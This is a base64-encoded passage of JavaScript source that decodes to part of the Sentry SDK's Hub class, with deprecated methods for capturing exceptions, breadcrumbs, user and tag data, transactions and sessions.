AgfQoKICAvKioKICAgKiBSZXR1cm5zIHRoZSBzY29wZSBzdGFjayBmb3IgZG9tYWlucyBvciB0aGUgcHJvY2Vzcy4KICAgKiBAZGVwcmVjYXRlZCBUaGlzIHdpbGwgYmUgcmVtb3ZlZCBpbiB2OC4KICAgKi8KICAgZ2V0U3RhY2soKSB7CiAgICByZXR1cm4gdGhpcy5fc3RhY2s7CiAgfQoKICAvKioKICAgKiBSZXR1cm5zIHRoZSB0b3Btb3N0IHNjb3BlIGxheWVyIGluIHRoZSBvcmRlciBkb21haW4gPiBsb2NhbCA+IHByb2Nlc3MuCiAgICogQGRlcHJlY2F0ZWQgVGhpcyB3aWxsIGJlIHJlbW92ZWQgaW4gdjguCiAgICovCiAgIGdldFN0YWNrVG9wKCkgewogICAgcmV0dXJuIHRoaXMuX3N0YWNrW3RoaXMuX3N0YWNrLmxlbmd0aCAtIDFdOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKgogICAqIEBkZXByZWNhdGVkIFVzZSBgU2VudHJ5LmNhcHR1cmVFeGNlcHRpb24oKWAgaW5zdGVhZC4KICAgKi8KICAgY2FwdHVyZUV4Y2VwdGlvbihleGNlcHRpb24sIGhpbnQpIHsKICAgIGNvbnN0IGV2ZW50SWQgPSAodGhpcy5fbGFzdEV2ZW50SWQgPSBoaW50ICYmIGhpbnQuZXZlbnRfaWQgPyBoaW50LmV2ZW50X2lkIDogdXVpZDQoKSk7CiAgICBjb25zdCBzeW50aGV0aWNFeGNlcHRpb24gPSBuZXcgRXJyb3IoJ1NlbnRyeSBzeW50aGV0aWNFeGNlcHRpb24nKTsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5nZXRTY29wZSgpLmNhcHR1cmVFeGNlcHRpb24oZXhjZXB0aW9uLCB7CiAgICAgIG9yaWdpbmFsRXhjZXB0aW9uOiBleGNlcHRpb24sCiAgICAgIHN5bnRoZXRpY0V4Y2VwdGlvbiwKICAgICAgLi4uaGludCwKICAgICAgZXZlbnRfaWQ6IGV2ZW50SWQsCiAgICB9KTsKCiAgICByZXR1cm4gZXZlbnRJZDsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICoKICAgKiBAZGVwcmVjYXRlZCBVc2UgIGBTZW50cnkuY2FwdHVyZU1lc3NhZ2UoKWAgaW5zdGVhZC4KICAgKi8KICAgY2FwdHVyZU1lc3NhZ2UoCiAgICBtZXNzYWdlLAogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICBsZXZlbCwKICAgIGhpbnQsCiAgKSB7CiAgICBjb25zdCBldmVudElkID0gKHRoaXMuX2xhc3RFdmVudElkID0gaGludCAmJiBoaW50LmV2ZW50X2lkID8gaGludC5ldmVudF9pZCA6IHV1aWQ0KCkpOwogICAgY29uc3Qgc3ludGhldGljRXhjZXB0aW9uID0gbmV3IEVycm9yKG1lc3NhZ2UpOwogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICB0aGlzLmdldFNjb3BlKCkuY2FwdHVyZU1lc3NhZ2UobWVzc2FnZSwgbGV2ZWwsIHsKICAgICAgb3JpZ2luYWxFeGNlcHRpb246IG1lc3NhZ2UsCiAgICAgIHN5bnRoZXRpY0V4Y2VwdGlvbiwKICAgICAgLi4uaGludCwKICAgICAgZXZlbnRfaWQ6IGV2ZW50SWQsCiAgICB9KTsKCiAgICByZXR1cm4gZXZlbnRJZDsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICoKICAgKiBAZGVwcmVjYXRlZCBVc2UgYFNlbnRyeS5jYXB0dXJlRXZlbnQoKWAgaW5zdGVhZC4KICAgKi8KICAgY2FwdHVyZUV2ZW50KGV2ZW50LCBoaW50KSB7CiAgICBjb25zdCBldmVudElkID0gaGludCAmJiBoaW50LmV2ZW50X2lkID8gaGludC5ldmVudF9pZCA6IHV1aWQ0KCk7CiAgICBpZiAoIWV2ZW50LnR5cGUpIHsKICAgICAgdGhpcy5fbGFzdEV2ZW50SWQgPSBldmVudElkOwogICAgfQogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICB0aGlzLmdldFNjb3BlKCkuY2FwdHVyZUV2ZW50KGV2ZW50LCB7IC4uLmhpbnQsIGV2ZW50X2lkOiBldmVudElkIH0pOwogICAgcmV0dXJuIGV2ZW50SWQ7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqCiAgICogQGRlcHJlY2F0ZWQgVGhpcyB3aWxsIGJlIHJlbW92ZWQgaW4gdjguCiAgICovCiAgIGxhc3RFdmVudElkKCkgewogICAgcmV0dXJuIHRoaXMuX2xhc3RFdmVudElkOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKgogICAqIEBkZXByZWNhdGVkIFVzZSBgU2VudHJ5LmFkZEJyZWFkY3J1bWIoKWAgaW5zdGVhZC4KICAgKi8KICAgYWRkQnJlYWRjcnVtYihicmVhZGNydW1iLCBoaW50KSB7CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIGNvbnN0IHsgc2NvcGUsIGNsaWVudCB9ID0gdGhpcy5nZXRTdGFja1RvcCgpOwoKICAgIGlmICghY2xpZW50KSByZXR1cm47CgogICAgY29uc3QgeyBiZWZvcmVCcmVhZGNydW1iID0gbnVsbCwgbWF4QnJlYWRjcnVtYnMgPSBERUZBVUxUX0JSRUFEQ1JVTUJTIH0gPQogICAgICAoY2xpZW50LmdldE9wdGlvbnMgJiYgY2xpZW50LmdldE9wdGlvbnMoKSkgfHwge307CgogICAgaWYgKG1heEJyZWFkY3J1bWJzIDw9IDApIHJldHVybjsKCiAgICBjb25zdCB0aW1lc3RhbXAgPSBkYXRlVGltZXN0YW1wSW5TZWNvbmRzKCk7CiAgICBjb25zdCBtZXJnZWRCcmVhZGNydW1iID0geyB0aW1lc3RhbXAsIC4uLmJyZWFkY3J1bWIgfTsKICAgIGNvbnN0IGZpbmFsQnJlYWRjcnVtYiA9IGJlZm9yZUJyZWFkY3J1bWIKICAgICAgPyAoY29uc29sZVNhbmRib3goKCkgPT4gYmVmb3JlQnJlYWRjcnVtYihtZXJnZWRCcmVhZGNydW1iLCBoaW50KSkgKQogICAgICA6IG1lcmdlZEJyZWFkY3J1bWI7CgogICAgaWYgKGZpbmFsQnJlYWRjcnVtYiA9PT0gbnVsbCkgcmV0dXJuOwoKICAgIGlmIChjbGllbnQuZW1pdCkgewogICAgICBjbGllbnQuZW1pdCgnYmVmb3JlQWRkQnJlYWRjcnVtYicsIGZpbmFsQnJlYWRjcnVtYiwgaGludCk7CiAgICB9CgogICAgLy8gVE9ETyh2OCk6IEkga25vdyB0aGlzIGNvbW1lbnQgZG9lc24ndCBtYWtlIG11Y2ggc2Vuc2UgYmVjYXVzZSB0aGUgaHViIHdpbGwgYmUgZGVwcmVjYXRlZCBidXQgSSBzdGlsbCB3YW50ZWQgdG8KICAgIC8vIHdyaXRlIGl0IGRvd24uIEluIHRoZW9yeSwgd2Ugd291bGQgaGF2ZSB0byBhZGQgdGhlIGJyZWFkY3J1bWJzIHRvIHRoZSBpc29sYXRpb24gc2NvcGUgaGVyZSwgaG93ZXZlciwgdGhhdCB3b3VsZAogICAgLy8gZHVwbGljYXRlIGFsbCBvZiB0aGUgYnJlYWRjcnVtYnMuIFRoZXJlIHdhcyB0aGUgcG9zc2liaWxpdHkgb2YgYWRkaW5nIGJyZWFkY3J1bWJzIHRvIGJvdGgsIHRoZSBpc29sYXRpb24gc2NvcGUKICAgIC8vIGFuZCB0aGUgbm9ybWFsIHNjb3BlLCBhbmQgZGVkdXBsaWNhdGluZyBpdCBkb3duIHRoZSBsaW5lIGluIHRoZSBldmVudCBwcm9jZXNzaW5nIHBpcGVsaW5lLiBIb3dldmVyLCB0aGF0IHdvdWxkCiAgICAvLyBoYXZlIGJlZW4gdmVyeSBmcmFnaWxlLCBiZWNhdXNlIHRoZSBicmVhZGNydW1iIG9iamVjdHMgd291bGQgaGF2ZSBuZWVkZWQgdG8ga2VlcCB0aGVpciBpZGVudGl0eSBhbGwgdGhyb3VnaG91dAogICAgLy8gdGhlIGV2ZW50IHByb2Nlc3NpbmcgcGlwZWxpbmUuCiAgICAvLyBJbiB0aGUgbmV3IGltcGxlbWVudGF0aW9uLCB0aGUgdG9wIGxldmVsIGBTZW50cnkuYWRkQnJlYWRjcnVtYigpYCBzaG91bGQgT05MWSB3cml0ZSB0byB0aGUgaXNvbGF0aW9uIHNjb3BlLgoKICAgIHNjb3BlLmFkZEJyZWFkY3J1bWIoZmluYWxCcmVhZGNydW1iLCBtYXhCcmVhZGNydW1icyk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqIEBkZXByZWNhdGVkIFVzZSBgU2VudHJ5LnNldFVzZXIoKWAgaW5zdGVhZC4KICAgKi8KICAgc2V0VXNlcih1c2VyKSB7CiAgICAvLyBUT0RPKHY4KTogVGhlIHRvcCBsZXZlbCBgU2VudHJ5LnNldFVzZXIoKWAgZnVuY3Rpb24gc2hvdWxkIHdyaXRlIE9OTFkgdG8gdGhlIGlzb2xhdGlvbiBzY29wZS4KICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5nZXRTY29wZSgpLnNldFVzZXIodXNlcik7CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIHRoaXMuZ2V0SXNvbGF0aW9uU2NvcGUoKS5zZXRVc2VyKHVzZXIpOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKiBAZGVwcmVjYXRlZCBVc2UgYFNlbnRyeS5zZXRUYWdzKClgIGluc3RlYWQuCiAgICovCiAgIHNldFRhZ3ModGFncykgewogICAgLy8gVE9ETyh2OCk6IFRoZSB0b3AgbGV2ZWwgYFNlbnRyeS5zZXRUYWdzKClgIGZ1bmN0aW9uIHNob3VsZCB3cml0ZSBPTkxZIHRvIHRoZSBpc29sYXRpb24gc2NvcGUuCiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIHRoaXMuZ2V0U2NvcGUoKS5zZXRUYWdzKHRhZ3MpOwogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICB0aGlzLmdldElzb2xhdGlvblNjb3BlKCkuc2V0VGFncyh0YWdzKTsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBTZW50cnkuc2V0RXh0cmFzKClgIGluc3RlYWQuCiAgICovCiAgIHNldEV4dHJhcyhleHRyYXMpIHsKICAgIC8vIFRPRE8odjgpOiBUaGUgdG9wIGxldmVsIGBTZW50cnkuc2V0RXh0cmFzKClgIGZ1bmN0aW9uIHNob3VsZCB3cml0ZSBPTkxZIHRvIHRoZSBpc29sYXRpb24gc2NvcGUuCiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIHRoaXMuZ2V0U2NvcGUoKS5zZXRFeHRyYXMoZXh0cmFzKTsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5nZXRJc29sYXRpb25TY29wZSgpLnNldEV4dHJhcyhleHRyYXMpOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKiBAZGVwcmVjYXRlZCBVc2UgYFNlbnRyeS5zZXRUYWcoKWAgaW5zdGVhZC4KICAgKi8KICAgc2V0VGFnKGtleSwgdmFsdWUpIHsKICAgIC8vIFRPRE8odjgpOiBUaGUgdG9wIGxldmVsIGBTZW50cnkuc2V0VGFnKClgIGZ1bmN0aW9uIHNob3VsZCB3cml0ZSBPTkxZIHRvIHRoZSBpc29sYXRpb24gc2NvcGUuCiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIHRoaXMuZ2V0U2NvcGUoKS5zZXRUYWcoa2V5LCB2YWx1ZSk7CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIHRoaXMuZ2V0SXNvbGF0aW9uU2NvcGUoKS5zZXRUYWcoa2V5LCB2YWx1ZSk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqIEBkZXByZWNhdGVkIFVzZSBgU2VudHJ5LnNldEV4dHJhKClgIGluc3RlYWQuCiAgICovCiAgIHNldEV4dHJhKGtleSwgZXh0cmEpIHsKICAgIC8vIFRPRE8odjgpOiBUaGUgdG9wIGxldmVsIGBTZW50cnkuc2V0RXh0cmEoKWAgZnVuY3Rpb24gc2hvdWxkIHdyaXRlIE9OTFkgdG8gdGhlIGlzb2xhdGlvbiBzY29wZS4KICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5nZXRTY29wZSgpLnNldEV4dHJhKGtleSwgZXh0cmEpOwogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICB0aGlzLmdldElzb2xhdGlvblNjb3BlKCkuc2V0RXh0cmEoa2V5LCBleHRyYSk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqIEBkZXByZWNhdGVkIFVzZSBgU2VudHJ5LnNldENvbnRleHQoKWAgaW5zdGVhZC4KICAgKi8KICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHR5cGVzY3JpcHQtZXNsaW50L25vLWV4cGxpY2l0LWFueQogICBzZXRDb250ZXh0KG5hbWUsIGNvbnRleHQpIHsKICAgIC8vIFRPRE8odjgpOiBUaGUgdG9wIGxldmVsIGBTZW50cnkuc2V0Q29udGV4dCgpYCBmdW5jdGlvbiBzaG91bGQgd3JpdGUgT05MWSB0byB0aGUgaXNvbGF0aW9uIHNjb3BlLgogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICB0aGlzLmdldFNjb3BlKCkuc2V0Q29udGV4dChuYW1lLCBjb250ZXh0KTsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5nZXRJc29sYXRpb25TY29wZSgpLnNldENvbnRleHQobmFtZSwgY29udGV4dCk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBnZXRTY29wZSgpYCBkaXJlY3RseS4KICAgKi8KICAgY29uZmlndXJlU2NvcGUoY2FsbGJhY2spIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgY29uc3QgeyBzY29wZSwgY2xpZW50IH0gPSB0aGlzLmdldFN0YWNrVG9wKCk7CiAgICBpZiAoY2xpZW50KSB7CiAgICAgIGNhbGxiYWNrKHNjb3BlKTsKICAgIH0KICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgIHJ1bihjYWxsYmFjaykgewogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICBjb25zdCBvbGRIdWIgPSBtYWtlTWFpbih0aGlzKTsKICAgIHRyeSB7CiAgICAgIGNhbGxiYWNrKHRoaXMpOwogICAgfSBmaW5hbGx5IHsKICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICAgIG1ha2VNYWluKG9sZEh1Yik7CiAgICB9CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqIEBkZXByZWNhdGVkIFVzZSBgU2VudHJ5LmdldENsaWVudCgpLmdldEludGVncmF0aW9uQnlOYW1lKClgIGluc3RlYWQuCiAgICovCiAgIGdldEludGVncmF0aW9uKGludGVncmF0aW9uKSB7CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIGNvbnN0IGNsaWVudCA9IHRoaXMuZ2V0Q2xpZW50KCk7CiAgICBpZiAoIWNsaWVudCkgcmV0dXJuIG51bGw7CiAgICB0cnkgewogICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgICAgcmV0dXJuIGNsaWVudC5nZXRJbnRlZ3JhdGlvbihpbnRlZ3JhdGlvbik7CiAgICB9IGNhdGNoIChfb08pIHsKICAgICAgREVCVUdfQlVJTEQgJiYgbG9nZ2VyLndhcm4oYENhbm5vdCByZXRyaWV2ZSBpbnRlZ3JhdGlvbiAke2ludGVncmF0aW9uLmlkfSBmcm9tIHRoZSBjdXJyZW50IEh1YmApOwogICAgICByZXR1cm4gbnVsbDsKICAgIH0KICB9CgogIC8qKgogICAqIFN0YXJ0cyBhIG5ldyBgVHJhbnNhY3Rpb25gIGFuZCByZXR1cm5zIGl0LiBUaGlzIGlzIHRoZSBlbnRyeSBwb2ludCB0byBtYW51YWwgdHJhY2luZyBpbnN0cnVtZW50YXRpb24uCiAgICoKICAgKiBBIHRyZWUgc3RydWN0dXJlIGNhbiBiZSBidWlsdCBieSBhZGRpbmcgY2hpbGQgc3BhbnMgdG8gdGhlIHRyYW5zYWN0aW9uLCBhbmQgY2hpbGQgc3BhbnMgdG8gb3RoZXIgc3BhbnMuIFRvIHN0YXJ0IGEKICAgKiBuZXcgY2hpbGQgc3BhbiB3aXRoaW4gdGhlIHRyYW5zYWN0aW9uIG9yIGFueSBzcGFuLCBjYWxsIHRoZSByZXNwZWN0aXZlIGAuc3RhcnRDaGlsZCgpYCBtZXRob2QuCiAgICoKICAgKiBFdmVyeSBjaGlsZCBzcGFuIG11c3QgYmUgZmluaXNoZWQgYmVmb3JlIHRoZSB0cmFuc2FjdGlvbiBpcyBmaW5pc2hlZCwgb3RoZXJ3aXNlIHRoZSB1bmZpbmlzaGVkIHNwYW5zIGFyZSBkaXNjYXJkZWQuCiAgICoKICAgKiBUaGUgdHJhbnNhY3Rpb24gbXVzdCBiZSBmaW5pc2hlZCB3aXRoIGEgY2FsbCB0byBpdHMgYC5lbmQoKWAgbWV0aG9kLCBhdCB3aGljaCBwb2ludCB0aGUgdHJhbnNhY3Rpb24gd2l0aCBhbGwgaXRzCiAgICogZmluaXNoZWQgY2hpbGQgc3BhbnMgd2lsbCBiZSBzZW50IHRvIFNlbnRyeS4KICAgKgogICAqIEBwYXJhbSBjb250ZXh0IFByb3BlcnRpZXMgb2YgdGhlIG5ldyBgVHJhbnNhY3Rpb25gLgogICAqIEBwYXJhbSBjdXN0b21TYW1wbGluZ0NvbnRleHQgSW5mb3JtYXRpb24gZ2l2ZW4gdG8gdGhlIHRyYW5zYWN0aW9uIHNhbXBsaW5nIGZ1bmN0aW9uIChhbG9uZyB3aXRoIGNvbnRleHQtZGVwZW5kZW50CiAgICogZGVmYXVsdCB2YWx1ZXMpLiBTZWUge0BsaW5rIE9wdGlvbnMudHJhY2VzU2FtcGxlcn0uCiAgICoKICAgKiBAcmV0dXJucyBUaGUgdHJhbnNhY3Rpb24gd2hpY2ggd2FzIGp1c3Qgc3RhcnRlZAogICAqCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBzdGFydFNwYW4oKWAsIGBzdGFydFNwYW5NYW51YWwoKWAgb3IgYHN0YXJ0SW5hY3RpdmVTcGFuKClgIGluc3RlYWQuCiAgICovCiAgIHN0YXJ0VHJhbnNhY3Rpb24oY29udGV4dCwgY3VzdG9tU2FtcGxpbmdDb250ZXh0KSB7CiAgICBjb25zdCByZXN1bHQgPSB0aGlzLl9jYWxsRXh0ZW5zaW9uTWV0aG9kKCdzdGFydFRyYW5zYWN0aW9uJywgY29udGV4dCwgY3VzdG9tU2FtcGxpbmdDb250ZXh0KTsKCiAgICBpZiAoREVCVUdfQlVJTEQgJiYgIXJlc3VsdCkgewogICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgICAgY29uc3QgY2xpZW50ID0gdGhpcy5nZXRDbGllbnQoKTsKICAgICAgaWYgKCFjbGllbnQpIHsKICAgICAgICBsb2dnZXIud2FybigKICAgICAgICAgICJUcmFjaW5nIGV4dGVuc2lvbiAnc3RhcnRUcmFuc2FjdGlvbicgaXMgbWlzc2luZy4gWW91IHNob3VsZCAnaW5pdCcgdGhlIFNESyBiZWZvcmUgY2FsbGluZyAnc3RhcnRUcmFuc2FjdGlvbiciLAogICAgICAgICk7CiAgICAgIH0gZWxzZSB7CiAgICAgICAgbG9nZ2VyLndhcm4oYFRyYWNpbmcgZXh0ZW5zaW9uICdzdGFydFRyYW5zYWN0aW9uJyBoYXMgbm90IGJlZW4gYWRkZWQuIENhbGwgJ2FkZFRyYWNpbmdFeHRlbnNpb25zJyBiZWZvcmUgY2FsbGluZyAnaW5pdCc6ClNlbnRyeS5hZGRUcmFjaW5nRXh0ZW5zaW9ucygpOwpTZW50cnkuaW5pdCh7Li4ufSk7CmApOwogICAgICB9CiAgICB9CgogICAgcmV0dXJuIHJlc3VsdDsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBzcGFuVG9UcmFjZUhlYWRlcigpYCBpbnN0ZWFkLgogICAqLwogICB0cmFjZUhlYWRlcnMoKSB7CiAgICByZXR1cm4gdGhpcy5fY2FsbEV4dGVuc2lvbk1ldGhvZCgndHJhY2VIZWFkZXJzJyk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqCiAgICogQGRlcHJlY2F0ZWQgVXNlIHRvcCBsZXZlbCBgY2FwdHVyZVNlc3Npb25gIGluc3RlYWQuCiAgICovCiAgIGNhcHR1cmVTZXNzaW9uKGVuZFNlc3Npb24gPSBmYWxzZSkgewogICAgLy8gYm90aCBzZW5kIHRoZSB1cGRhdGUgYW5kIHB1bGwgdGhlIHNlc3Npb24gZnJvbSB0aGUgc2NvcGUKICAgIGlmIChlbmRTZXNzaW9uKSB7CiAgICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgICByZXR1cm4gdGhpcy5lbmRTZXNzaW9uKCk7CiAgICB9CgogICAgLy8gb25seSBzZW5kIHRoZSB1cGRhdGUKICAgIHRoaXMuX3NlbmRTZXNzaW9uVXBkYXRlKCk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqIEBkZXByZWNhdGVkIFVzZSB0b3AgbGV2ZWwgYGVuZFNlc3Npb25gIGluc3RlYWQuCiAgICovCiAgIGVuZFNlc3Npb24oKSB7CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIGNvbnN0IGxheWVyID0gdGhpcy5nZXRTdGFja1RvcCgpOwogICAgY29uc3Qgc2NvcGUgPSBsYXllci5zY29wZTsKICAgIGNvbnN0IHNlc3Npb24gPSBzY29wZS5nZXRTZXNzaW9uKCk7CiAgICBpZiAoc2Vzc2lvbikgewogICAgICBjbG9zZVNlc3Npb24oc2Vzc2lvbik7CiAgICB9CiAgICB0aGlzLl9zZW5kU2Vzc2lvblVwZGF0ZSgpOwoKICAgIC8vIHRoZSBzZXNzaW9uIGlzIG92ZXI7IHRha2UgaXQgb2ZmIG9mIHRoZSBzY29wZQogICAgc2NvcGUuc2V0U2Vzc2lvbigpOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKiBAZGVwcmVjYXRlZCBVc2UgdG9wIGxldmVsIGBzdGFydFNlc3Npb25gIGluc3RlYWQuCiAgICovCiAgIHN0YXJ0U2Vzc2lvbihjb250ZXh0KSB7CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIGNvbnN0IHsgc2NvcGUsIGNsaWVudCB9ID0gdGhpcy5nZXRTdGFja1RvcCgpOwogICAgY29uc3QgeyByZWxlYXNlLCBlbnZpcm9ubWVudCA9IERFRkFVTFRfRU5WSVJPTk1FTlQgfSA9IChjbGllbnQgJiYgY2xpZW50LmdldE9wdGlvbnMoKSkgfHwge307CgogICAgLy8gV2lsbCBmZXRjaCB1c2VyQWdlbnQgaWYgY2FsbGVkIGZyb20gYnJvd3NlciBzZGsKICAgIGNvbnN0IHsgdXNlckFnZW50IH0gPSBHTE9CQUxfT0JKLm5hdmlnYXRvciB8fCB7fTsKCiAgICBjb25zdCBzZXNzaW9uID0gbWFrZVNlc3Npb24oewogICAgICByZWxlYXNlLAogICAgICBlbnZpcm9ubWVudCwKICAgICAgdXNlcjogc2NvcGUuZ2V0VXNlcigpLAogICAgICAuLi4odXNlckFnZW50ICYmIHsgdXNlckFnZW50IH0pLAogICAgICAuLi5jb250ZXh0LAogICAgfSk7CgogICAgLy8gRW5kIGV4aXN0aW5nIHNlc3Npb24gaWYgdGhlcmUncyBvbmUKICAgIGNvbnN0IGN1cnJlbnRTZXNzaW9uID0gc2NvcGUuZ2V0U2Vzc2lvbiAmJiBzY29wZS5nZXRTZXNzaW9uKCk7CiAgICBpZiAoY3VycmVudFNlc3Npb24gJiYgY3VycmVudFNlc3Npb24uc3RhdHVzID09PSAnb2snKSB7CiAgICAgIHVwZGF0ZVNlc3Npb24oY3VycmVudFNlc3Npb24sIHsgc3RhdHVzOiAnZXhpdGVkJyB9KTsKICAgIH0KICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5lbmRTZXNzaW9uKCk7CgogICAgLy8gQWZ0ZXJ3YXJkcyB3ZSBzZXQgdGhlIG5ldyBzZXNzaW9uIG9uIHRoZSBzY29wZQogICAgc2NvcGUuc2V0U2Vzc2lvbihzZXNzaW9uKTsKCiAgICByZXR1cm4gc2Vzc2lvbjsKICB9CgogIC8qKgogICAqIFJldHVybnMgaWYgZGVmYXVsdCBQSUkgc2hvdWxkIGJlIHNlbnQgdG8gU2VudHJ5IGFuZCBwcm9wYWdhdGVkIGluIG91cmdvaW5nIHJlcXVlc3RzCiAgICogd2hlbiBUcmFjaW5nIGlzIHVzZWQuCiAgICoKICAgKiBAZGVwcmVjYXRlZCBVc2UgdG9wLWxldmVsIGBnZXRDbGllbnQoKS5nZXRPcHRpb25zKCkuc2VuZERlZmF1bHRQaWlgIGluc3RlYWQuIFRoaXMgZnVuY3Rpb24KICAgKiBvbmx5IHVubmVjZXNzYXJpbHkgaW5jcmVhc2VkIEFQSSBzdXJmYWNlIGJ1dCBvbmx5IHdyYXBwZWQgYWNjZXNzaW5nIHRoZSBvcHRpb24uCiAgICovCiAgIHNob3VsZFNlbmREZWZhdWx0UGlpKCkgewogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICBjb25zdCBjbGllbnQgPSB0aGlzLmdldENsaWVudCgpOwogICAgY29uc3Qgb3B0aW9ucyA9IGNsaWVudCAmJiBjbGllbnQuZ2V0T3B0aW9ucygpOwogICAgcmV0dXJuIEJvb2xlYW4ob3B0aW9ucyAmJiBvcHRpb25zLnNlbmREZWZhdWx0UGlpKTsKICB9CgogIC8qKgogICAqIFNlbmRzIHRoZSBjdXJyZW50IFNlc3Npb24gb24gdGhlIHNjb3BlCiAgICovCiAgIF9zZW5kU2Vzc2lvblVwZGF0ZSgpIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgY29uc3QgeyBzY29wZSwgY2xpZW50IH0gPSB0aGlzLmdldFN0YWNrVG9wKCk7CgogICAgY29uc3Qgc2Vzc2lvbiA9IHNjb3BlLmdldFNlc3Npb24oKTsKICAgIGlmIChzZXNzaW9uICYmIGNsaWVudCAmJiBjbGllbnQuY2FwdHVyZVNlc3Npb24pIHsKICAgICAgY2xpZW50LmNhcHR1cmVTZXNzaW9uKHNlc3Npb24pOwogICAgfQogIH0KCiAgLyoqCiAgICogQ2FsbHMgZ2xvYmFsIGV4dGVuc2lvbiBtZXRob2QgYW5kIGJpbmRpbmcgY3VycmVudCBpbnN0YW5jZSB0byB0aGUgZnVuY3Rpb24gY2FsbAogICAqLwogIC8vIEB0cy1leHBlY3QtZXJyb3I